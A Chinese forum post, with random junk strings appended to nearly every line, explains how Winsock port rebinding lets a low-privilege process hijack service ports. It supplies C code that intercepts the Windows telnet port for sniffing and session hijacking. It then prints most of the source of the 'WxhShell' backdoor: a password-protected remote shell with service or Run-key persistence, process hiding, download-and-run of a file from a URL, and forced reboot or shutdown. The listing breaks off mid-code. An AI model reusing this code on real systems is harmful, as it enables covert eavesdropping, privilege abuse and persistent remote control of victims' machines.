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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: QpwOrxI}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t6BggO"_u  
N^pTj<M<g  
  saddr.sin_family = AF_INET; F]\(p=U.  
/UTeaM!?"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;3OQgKI  
YwyP+S r\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~UX@%0%)N  
0m $f9b|Q?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^A dHP!I  
O%;H#3kn&s  
  这意味着什么?意味着可以进行如下的攻击: 4eK!1|1  
F0W4B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 S:4'k^E  
a,tzt ]>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lfp[(Ph)9  
&[$qA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eRc+.m[  
IL`X}=L_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  R7}=k)U?d@  
e3,TY.,Ay  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -U~]Bugvh  
A!\ouKyayS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Ppi/`X  
1Y4=D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qPGpN0M`  
 P&"8R  
  #include hJ$o+sl  
  #include !|;^  
  #include M3ihtY  
  #include    gR}> q4b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   $#4Qv5}  
  int main() g*?)o!_*  
  { VI7f}  
  WORD wVersionRequested; L)W1bW}  
  DWORD ret; "S)2<tV  
  WSADATA wsaData; $51M' Qu  
  BOOL val; ef8_w6i  
  SOCKADDR_IN saddr; $Wt0e 4YSu  
  SOCKADDR_IN scaddr; wZB:7E%  
  int err; |^9+c2   
  SOCKET s; !=%0  
  SOCKET sc; s+IU%y/9$a  
  int caddsize; Syv[ [Ek  
  HANDLE mt; U$jw8I'.  
  DWORD tid;   7R9.g6j  
  wVersionRequested = MAKEWORD( 2, 2 ); @a-u_|3q  
  err = WSAStartup( wVersionRequested, &wsaData ); nF$n[:  
  if ( err != 0 ) { 9D@ $Y54  
  printf("error!WSAStartup failed!\n"); C><]o  
  return -1; f}{ lRk  
  } ZslH2#   
  saddr.sin_family = AF_INET; >Y,3EI\  
   GP=i6I6C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -+MGs]),  
K5l#dl_T  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I#lvaoeN  
  saddr.sin_port = htons(23); )Dn~e#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4HX qRFUD  
  { oVi_X98R  
  printf("error!socket failed!\n"); 2y6@:VxSh  
  return -1; T.ZPpxY  
  } ">pW:apl%  
  val = TRUE; x~1.;dBF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T'YHV}b}vX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kg@D?VqJP  
  { x1H?e8  
  printf("error!setsockopt failed!\n"); MtE18m "z  
  return -1; 9gjI;*(z1  
  } BC!n;IAe  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MV8Lk/zd?A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WH:[Y7D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fpMnA  
&qR1fbw"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]LGp3)T-  
  { lIR0jgP@z  
  ret=GetLastError(); Hgu:*iYA  
  printf("error!bind failed!\n"); H<tk/\C  
  return -1; <eWGvIEP[  
  } $xx5+A%,  
  listen(s,2); 38Rod]\E  
  while(1) $7Sbz&)y3  
  { si`{>e~`6P  
  caddsize = sizeof(scaddr); ;VQFz&Q$u  
  //接受连接请求 JiFy.Pf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W40GW  
  if(sc!=INVALID_SOCKET) {8L)Fw  
  { 31BN ?q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y# <38+Gd  
  if(mt==NULL) HbQvu@  
  { #Bo/1G=  
  printf("Thread Creat Failed!\n"); P<+y%g(({  
  break; m3|KIUP  
  } %y@iA91K  
  } @\~qXz{6J  
  CloseHandle(mt); !A R$JUnX  
  } 6Mpbmfr  
  closesocket(s); C):RE<X  
  WSACleanup(); B_f0-nKP  
  return 0; m>po+7"b  
  }   9ICC2%j|  
  DWORD WINAPI ClientThread(LPVOID lpParam) fX.V+.rj  
  { ]>utLi5dX  
  SOCKET ss = (SOCKET)lpParam; o;#{N~4[$  
  SOCKET sc; W@S'mxk#*  
  unsigned char buf[4096]; @ mzf(Aq  
  SOCKADDR_IN saddr; .3;bUJ1  
  long num; HSt|Ua.c/h  
  DWORD val; kBPFk t2  
  DWORD ret; m7:E7 3:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Salu[)+?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %}z/_QZ  
  saddr.sin_family = AF_INET; xP@VK!sc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ` eB-C//  
  saddr.sin_port = htons(23); 1[k~*QS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9JF*xXd>Q  
  { )9,*s !)9  
  printf("error!socket failed!\n"); 2>{_O?UN  
  return -1; ~;ink   
  } Ru%: z>Y  
  val = 100; 3t(8uG<rL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 47Y| 1  
  { (wJtEoB9^  
  ret = GetLastError(); cz_4cMgxu  
  return -1; lYd#pNN  
  } V/5hEoDt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h6*=Fn7C  
  { T[$Sbz`  
  ret = GetLastError(); Z$R2Z$f  
  return -1; D3^[OHi~a  
  } h;vD"!gP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ? Azpb}#  
  { vcB +h;x  
  printf("error!socket connect failed!\n"); &`rV{%N"  
  closesocket(sc); -`e=u<Y9@  
  closesocket(ss); v{rc5 ]\R  
  return -1; "?j|;p@!>  
  } :oB4\/(G#  
  while(1) V07x+ovq  
  { <_*8a(j3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $XS0:C0  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @4:cn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uTJi }4cw  
  num = recv(ss,buf,4096,0); D#%J||  
  if(num>0) QN(f8t(  
  send(sc,buf,num,0); dRZor gar  
  else if(num==0) XEqg%f  
  break; >qA5   
  num = recv(sc,buf,4096,0); i_GE9A=h  
  if(num>0) A>L(#lz#ek  
  send(ss,buf,num,0); Fqzk/m  
  else if(num==0) Q6S[sTKR  
  break; f{e*R#+&  
  } IidZ -Il  
  closesocket(ss); l,/q# )5[  
  closesocket(sc); $8&HpX#h$  
  return 0 ; rL URP2~  
  } y? [*qnPj  
F~d !Ub$>  
Zn3iLAPBX  
========================================================== QnxkD)f*0  
bcpH|}[F)  
下边附上一个代码,,WXhSHELL Fga9  
@{_PO{=\C  
========================================================== yZ:|wxVY  
cFLu+4.jsG  
#include "stdafx.h" F *; +-e  
+ZXGT  
#include <stdio.h> hBsjO3n  
#include <string.h> _}]o~  
#include <windows.h> 4\(;}M-R{  
#include <winsock2.h> 5q]u:  
#include <winsvc.h> {s8''+Q#(-  
#include <urlmon.h> hk ./G'E  
T GMHo{ ]  
#pragma comment (lib, "Ws2_32.lib") *DkA$Eu3u  
#pragma comment (lib, "urlmon.lib") ,WOF)   
Oe9{`~  
#define MAX_USER   100 // 最大客户端连接数 0jv9N6IM  
#define BUF_SOCK   200 // sock buffer d$rJW m5H  
#define KEY_BUFF   255 // 输入 buffer KHr8\qLH  
_| 8"&*T^  
#define REBOOT     0   // 重启 *Oz5I  
#define SHUTDOWN   1   // 关机 h Zlajky  
(p} N9n$  
#define DEF_PORT   5000 // 监听端口 !w f N~.Y  
hl~(&D1^  
#define REG_LEN     16   // 注册表键长度 5d}PrYa  
#define SVC_LEN     80   // NT服务名长度 "4"\tM(  
S=aXmz<  
// 从dll定义API +:&(Ag  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3:Co K#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D.Cm&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l O, 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j<deTK;.  
b&~uK"O'7d  
// wxhshell配置信息 %o4d4 3uZ  
struct WSCFG { C`mXEX5  
  int ws_port;         // 监听端口 ^e>v{AE%  
  char ws_passstr[REG_LEN]; // 口令 Q\=u2}/z0  
  int ws_autoins;       // 安装标记, 1=yes 0=no *MagicA  
  char ws_regname[REG_LEN]; // 注册表键名 ZJ=C[s!wu  
  char ws_svcname[REG_LEN]; // 服务名 =|3 L'cDC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 n+GCL+Mo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (%0X\zvu/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W \f7fVU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d+T]EpQJ*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4 d]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6%S>~L66  
^ioTd  
}; A#1y>k  
4kXx(FE  
// default Wxhshell configuration 5!nZvv  
struct WSCFG wscfg={DEF_PORT, @oRYQ|.R  
    "xuhuanlingzhe", ,A6*EJ\w   
    1, }Pb!u9_  
    "Wxhshell", cjN4U [  
    "Wxhshell", D'nV &m  
            "WxhShell Service", &I(|aZx?J  
    "Wrsky Windows CmdShell Service", )%j)*Ymz;  
    "Please Input Your Password: ", 6l_8Q w*5I  
  1, l3g6y 9;  
  "http://www.wrsky.com/wxhshell.exe", 30H:x@='9  
  "Wxhshell.exe" %\b5)p  
    }; +}+hTY$a  
WZ&#O#(eO`  
// 消息定义模块 T)C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fah}#,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "\_}"0 H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M.OWw#?p:_  
char *msg_ws_ext="\n\rExit."; 5 h{Hf]A  
char *msg_ws_end="\n\rQuit."; |e< U%v  
char *msg_ws_boot="\n\rReboot..."; It_yh #s  
char *msg_ws_poff="\n\rShutdown..."; +H<%)Lk J  
char *msg_ws_down="\n\rSave to "; T!a8c<'V  
BK /;H G  
char *msg_ws_err="\n\rErr!"; v>R.M"f  
char *msg_ws_ok="\n\rOK!"; V)(pe #P  
w@:o:yLS  
char ExeFile[MAX_PATH]; )d.7xY7!  
int nUser = 0; -x_iqrB  
HANDLE handles[MAX_USER]; >8AtT=}w  
int OsIsNt; 8dZH&G@;  
9hguC yr@h  
SERVICE_STATUS       serviceStatus; VR:b1XWX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ SFD}w3b$  
g<lX Xj2  
// 函数声明 c//W#V2Q  
int Install(void); *(k=!`4(  
int Uninstall(void); j_H T  
int DownloadFile(char *sURL, SOCKET wsh); / 9;Pbxn  
int Boot(int flag); rRt<kTk!U  
void HideProc(void); =p7W^/c  
int GetOsVer(void); EEo+#  
int Wxhshell(SOCKET wsl); .A `:o  
void TalkWithClient(void *cs); blPC"3}3Vd  
int CmdShell(SOCKET sock); Ol-'2l  
int StartFromService(void); h">X!I  
int StartWxhshell(LPSTR lpCmdLine); Y zvtxX*  
G? _,(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3}gK`1Nq1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C4cg,>P7  
PQ(%5c1e  
// 数据结构和表定义 *|3z($*U]  
SERVICE_TABLE_ENTRY DispatchTable[] = 6?iP z?5  
{ - 'VT  
{wscfg.ws_svcname, NTServiceMain}, }N|/b"j9  
{NULL, NULL} Qp?+_<{  
}; {r}}X@|5  
v}mmY>M%  
// 自我安装 c]&VUWQ  
int Install(void) PJ.jgN(r  
{ pxC5a i  
  char svExeFile[MAX_PATH]; f 0#V^[%Q  
  HKEY key; ^R$dG[Qf  
  strcpy(svExeFile,ExeFile); DtN6.9H2`  
h ,n!x:zy@  
// 如果是win9x系统,修改注册表设为自启动 zF$wz1 %  
if(!OsIsNt) { 1e+?O7/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1&As:kv5I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VA%i_P,  
  RegCloseKey(key); 0q;] ;m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7U7 i2 4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t8+93,*B  
  RegCloseKey(key); E,$uN w']  
  return 0; SYwNx">Bq  
    } ;(,Fe/wvC  
  } a RwBxf  
} 'ng/A4  
else { vJ' 93 h  
#lC{R^SL  
// 如果是NT以上系统,安装为系统服务 x M[#Ah)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \* #4  
if (schSCManager!=0) .KSGma6]  
{ ?!66yn  
  SC_HANDLE schService = CreateService `qgJE_GC  
  ( /W>"G1)  
  schSCManager, 7L6M#B[)e5  
  wscfg.ws_svcname, ?n+\T'f!  
  wscfg.ws_svcdisp, ?yb{DZ46  
  SERVICE_ALL_ACCESS, [<;2C  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `7A@\Ha3  
  SERVICE_AUTO_START, NeEV !V8  
  SERVICE_ERROR_NORMAL, fpi6pcof  
  svExeFile, Q!{Dw :7  
  NULL, )1,&YJM*6l  
  NULL, HXQ rtJ  
  NULL, lTP02|eK  
  NULL, ]*h}sn=  
  NULL ATHz~a  
  ); O5?Eb  
  if (schService!=0) |{K:.x#^  
  { 8gxLL59  
  CloseServiceHandle(schService); q}i87a;m  
  CloseServiceHandle(schSCManager); y^rg%RV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #*/h*GNMs  
  strcat(svExeFile,wscfg.ws_svcname); Z#O3s:`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _JDr?Kg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PsnU5f)`  
  RegCloseKey(key); C=cTj7Ub  
  return 0; ~] 2R+  
    } CQ[-Cp7  
  } 9R[','x  
  CloseServiceHandle(schSCManager); $C/Gn~k 5  
} 3\G=J  
} %R>S"  
(ce NVo&  
return 1; zJ`(LnV  
} xW4+)F5P(  
A'8K^,<  
// 自我卸载 mg(56)  
int Uninstall(void) k]iS3+nD  
{ ~=ktFuEa  
  HKEY key; bYc qscW  
HWBom8u0  
if(!OsIsNt) { 5aNDW'z`f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lg+g:o  
  RegDeleteValue(key,wscfg.ws_regname); Sq,ty{j2%  
  RegCloseKey(key); Qg!*=<b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zY+Et.lg]^  
  RegDeleteValue(key,wscfg.ws_regname); 3(&F.&C$$  
  RegCloseKey(key); EYG E#C; d  
  return 0; B_2>Yt"  
  } Z B&Uhi  
} nW_  
} ~2431<YV  
else { PEIr-qs%D  
)}!'VIe^!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uzn|)OfWP  
if (schSCManager!=0) gj^]}6-P  
{ NN'<-0~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); auW]rwY  
  if (schService!=0) O$/ swwB!  
  { I+t38 un%  
  if(DeleteService(schService)!=0) { z:5ROlk0  
  CloseServiceHandle(schService); G{~p.?f:  
  CloseServiceHandle(schSCManager); ooSd6;'  
  return 0; Dt.Wb&V_w  
  } 2v1&%x:y#  
  CloseServiceHandle(schService); -Wk"o?} q  
  } V2%wb\_z  
  CloseServiceHandle(schSCManager); qEr[fC@x  
} [i1D~rCcn  
} =_J<thp  
j//wh1  
return 1; )d u{ZWr  
} p9WskYpm  
B [ ka@z7  
// 从指定url下载文件 s.)w A`&&  
int DownloadFile(char *sURL, SOCKET wsh) T+h{Aeg  
{ FF~4y>R7u  
  HRESULT hr; neFno5dj  
char seps[]= "/"; {{%8|+B  
char *token; MToQ8qKs  
char *file; b'5pQ2Mq  
char myURL[MAX_PATH]; {VG[m@  
char myFILE[MAX_PATH]; 6CRPdLTDf  
<h51KPo^P  
strcpy(myURL,sURL); 9[E$>o"%  
  token=strtok(myURL,seps); c[lob{,  
  while(token!=NULL) 5yi q#  
  { .@-]A   
    file=token; SkRQFm0a~  
  token=strtok(NULL,seps); [+,U0OV,  
  } G%R`)Z]8&  
G3^]Wwu  
GetCurrentDirectory(MAX_PATH,myFILE); rxp9B>~  
strcat(myFILE, "\\"); u>6/_^iq  
strcat(myFILE, file); Q8cPKDB  
  send(wsh,myFILE,strlen(myFILE),0); wg_CI,Kq  
send(wsh,"...",3,0); t>@3RBEK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B^~Bv!tHWr  
  if(hr==S_OK) hg'!  
return 0; 'OW"*b  
else ]u ~Fn2  
return 1;  m+{: ^  
U2lC !j%K  
} @M^Qh Hs  
bvS\P!m\c  
// 系统电源模块 C,vc aC?  
int Boot(int flag) ,<r3Z$G  
{ "sX?wTag  
  HANDLE hToken; SJ7=<y}[d  
  TOKEN_PRIVILEGES tkp; <?Izfl6  
s{J!^q  
  if(OsIsNt) { WTv\HI2X !  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I jztj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DLVs>?Y  
    tkp.PrivilegeCount = 1; [HiTR!o*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <L ( =  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y"L`bl A9}  
if(flag==REBOOT) { O[p^lr(B7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0+y~RTAVB  
  return 0;  ,bp pM  
} <O)X89dFM  
else { u4M2Ec  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C{i;spc!bi  
  return 0; #]a51Vss  
} vek:/'sj3p  
  } J K]tcP  
  else { IBNQmVRrI  
if(flag==REBOOT) { y&=19 A#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "M0l;  
  return 0; k+r9h'd   
} cPaWJ+c  
else { lrX0c$)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 't?7.#,6O  
  return 0; ~G:2iSi(#  
} N z3%}6F:  
} xXxh3 k\  
g74z]Uj.B  
return 1; }%FuL5Tx  
} 4|41^B5Y  
1 u_2 4  
// win9x进程隐藏模块 bKMR7&e.Ep  
void HideProc(void) ~TFYlV  
{ bd P,Zqd  
{!eANm'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X<}o> 6|d  
  if ( hKernel != NULL ) agU!D[M_G  
  { :8-gm"awL5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KW7? : x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <6O _t,K]  
    FreeLibrary(hKernel); >aC\_Mc  
  } kxqc6  
r{2].31'  
return; V52C,]qQH  
} l8AEEG8>  
ZIL| .<8I  
// 获取操作系统版本 i@R$g~~-D  
int GetOsVer(void) /< 7C[^h{-  
{ PWN'.HQ  
  OSVERSIONINFO winfo; ;, v L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]\ 2RV DC  
  GetVersionEx(&winfo); O:^LQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zPh\3B  
  return 1; 5H :~6z  
  else =_m9so  
  return 0; `=}UFu  
} K7xWE,y  
} B9~X  
// 客户端句柄模块 P&%eIgAOL  
int Wxhshell(SOCKET wsl) "(\) &G  
{ jy(+ 0F  
  SOCKET wsh; mh#FY Sp  
  struct sockaddr_in client; Cq*}b4^;  
  DWORD myID; 9kX=99kf[  
=e!l=d|/  
  while(nUser<MAX_USER) )dIfr  
{ _:Jp*z  
  int nSize=sizeof(client); 71.\`'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); oAZF3h]po  
  if(wsh==INVALID_SOCKET) return 1; lHKf#|  
-?YTQ@ W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5%Oyvt]}2  
if(handles[nUser]==0) G]mWaA  
  closesocket(wsh); !H1tBg]5  
else $# !UGY  
  nUser++; .Y(lB=pV  
  } Z2rzb{oS}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); f7Df %&d  
4d e]?#=  
  return 0; t.E4Tqzc>  
} WfDX"rA  
(\T0n[  
// 关闭 socket x* =sRf  
void CloseIt(SOCKET wsh) jH&_E'XMX  
{ JpxbB)/  
closesocket(wsh); z{@R.'BD  
nUser--; *|k;a]HT  
ExitThread(0); >^yc=mM(g3  
} Z<ajET`)  
<wt$Gglk  
// 客户端请求句柄 ran^te^Ks(  
void TalkWithClient(void *cs) JS/M~8+Et  
{ ) Ab6!"'  
hr[B^?6  
  SOCKET wsh=(SOCKET)cs; !0ce kSesr  
  char pwd[SVC_LEN]; ',JrY)  
  char cmd[KEY_BUFF]; BeI;#m0  
char chr[1]; e`Co,>W/  
int i,j; ss`P QN  
-*|:v67C&  
  while (nUser < MAX_USER) { /BMtcCPG!  
ms}f>f=  
if(wscfg.ws_passstr) { @GG(7r\/B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V\6(d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <8rgtu!VU  
  //ZeroMemory(pwd,KEY_BUFF); G` ,u40a  
      i=0; 3$c(M99r  
  while(i<SVC_LEN) { ok`]:gf  
[6; N3?+  
  // 设置超时 69C8-fF0[I  
  fd_set FdRead; hI|/>4<  
  struct timeval TimeOut; ,{?q^"  
  FD_ZERO(&FdRead); &:c:9w  
  FD_SET(wsh,&FdRead); F<Hqo>G  
  TimeOut.tv_sec=8; 4L5o\'X  
  TimeOut.tv_usec=0; .!(,$'(@=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z&FkLww  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x" 'KW (  
K DYYB6|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {)V?R  
  pwd=chr[0]; >*dQqJI  
  if(chr[0]==0xd || chr[0]==0xa) { kDzj%sm!  
  pwd=0; *me,(C  
  break; xMD rE?  
  } LY-lTr@A^  
  i++; }iilzE4oH#  
    } "v(G7*2  
a`H\-G  
  // 如果是非法用户,关闭 socket B(j02<-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8FzHNG  
} ~->Hlxze'K  
_i3i HR?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,0!uem}1i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l80bHp=  
LBiowd[  
while(1) { m|pTn#*`  
YC]PN5[1!  
  ZeroMemory(cmd,KEY_BUFF); mEoA#U  
GS\%mPZ  
      // 自动支持客户端 telnet标准   |9>*$Fe"  
  j=0; 0Injyc*bMF  
  while(j<KEY_BUFF) { \\ jIl3Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;rd6ko  
  cmd[j]=chr[0];  ~~PgF"v  
  if(chr[0]==0xa || chr[0]==0xd) { M@|w[ydQG  
  cmd[j]=0; U~aWG\h#X  
  break; )YuRjBcp,"  
  } +}Xr1fr{jw  
  j++; L@w0N)P<!{  
    } * R%.a^R  
ZjqA30!  
  // 下载文件 cDCJ]iDs  
  if(strstr(cmd,"http://")) { d,W/M(S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jFtg.SD  
  if(DownloadFile(cmd,wsh)) RCzV5g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jm[}M  
  else wL;]1&Qq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lDo(@nM  
  } bA9CO\Pp`  
  else { tNU-2r   
y-'" >  
    switch(cmd[0]) { Hk,lX r  
  TWUUvj`.  
  // 帮助 AzZJG v ]H  
  case '?': { 1e/L\Y=m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l '/N3&5  
    break; !g8*r"[UJ  
  } \M9 h&I\7  
  // 安装 [*Q-nZ/L  
  case 'i': { ! ,@ZQS  
    if(Install()) UxyY<H~Wx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [FGgkd}  
    else Y;} 2'"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yz ?q(]  
    break; 5.w iTy  
    } <yZP|_  
  // 卸载 r*chL&7  
  case 'r': { c15r':.5  
    if(Uninstall()) /|?F)%v\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (^LS']ybc  
    else d/S+(<g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n12UBvc}%  
    break; 8W;2oQN7  
    } tRteyNA  
  // 显示 wxhshell 所在路径 ?4 qkDtm  
  case 'p': { c5("-xB  
    char svExeFile[MAX_PATH]; .]P2}w)x?  
    strcpy(svExeFile,"\n\r"); 3[r";Wt#  
      strcat(svExeFile,ExeFile); Gg|M+M?+  
        send(wsh,svExeFile,strlen(svExeFile),0); #|Oj]bd(=  
    break; g`n;R  
    } %(`#A.yaE  
  // 重启 < W*xshn  
  case 'b': { x` 2| }AP(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1* ^'\W.  
    if(Boot(REBOOT)) dAL3.%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rgqQxe=  
    else { 3;-^YG  
    closesocket(wsh); 'z5h3J  
    ExitThread(0); Bd5+/G=m  
    } vZu~LW@1  
    break; B_ k2u  
    } ^ S  
  // 关机 +{$QAjW(/  
  case 'd': { cwe1^SJ6y  
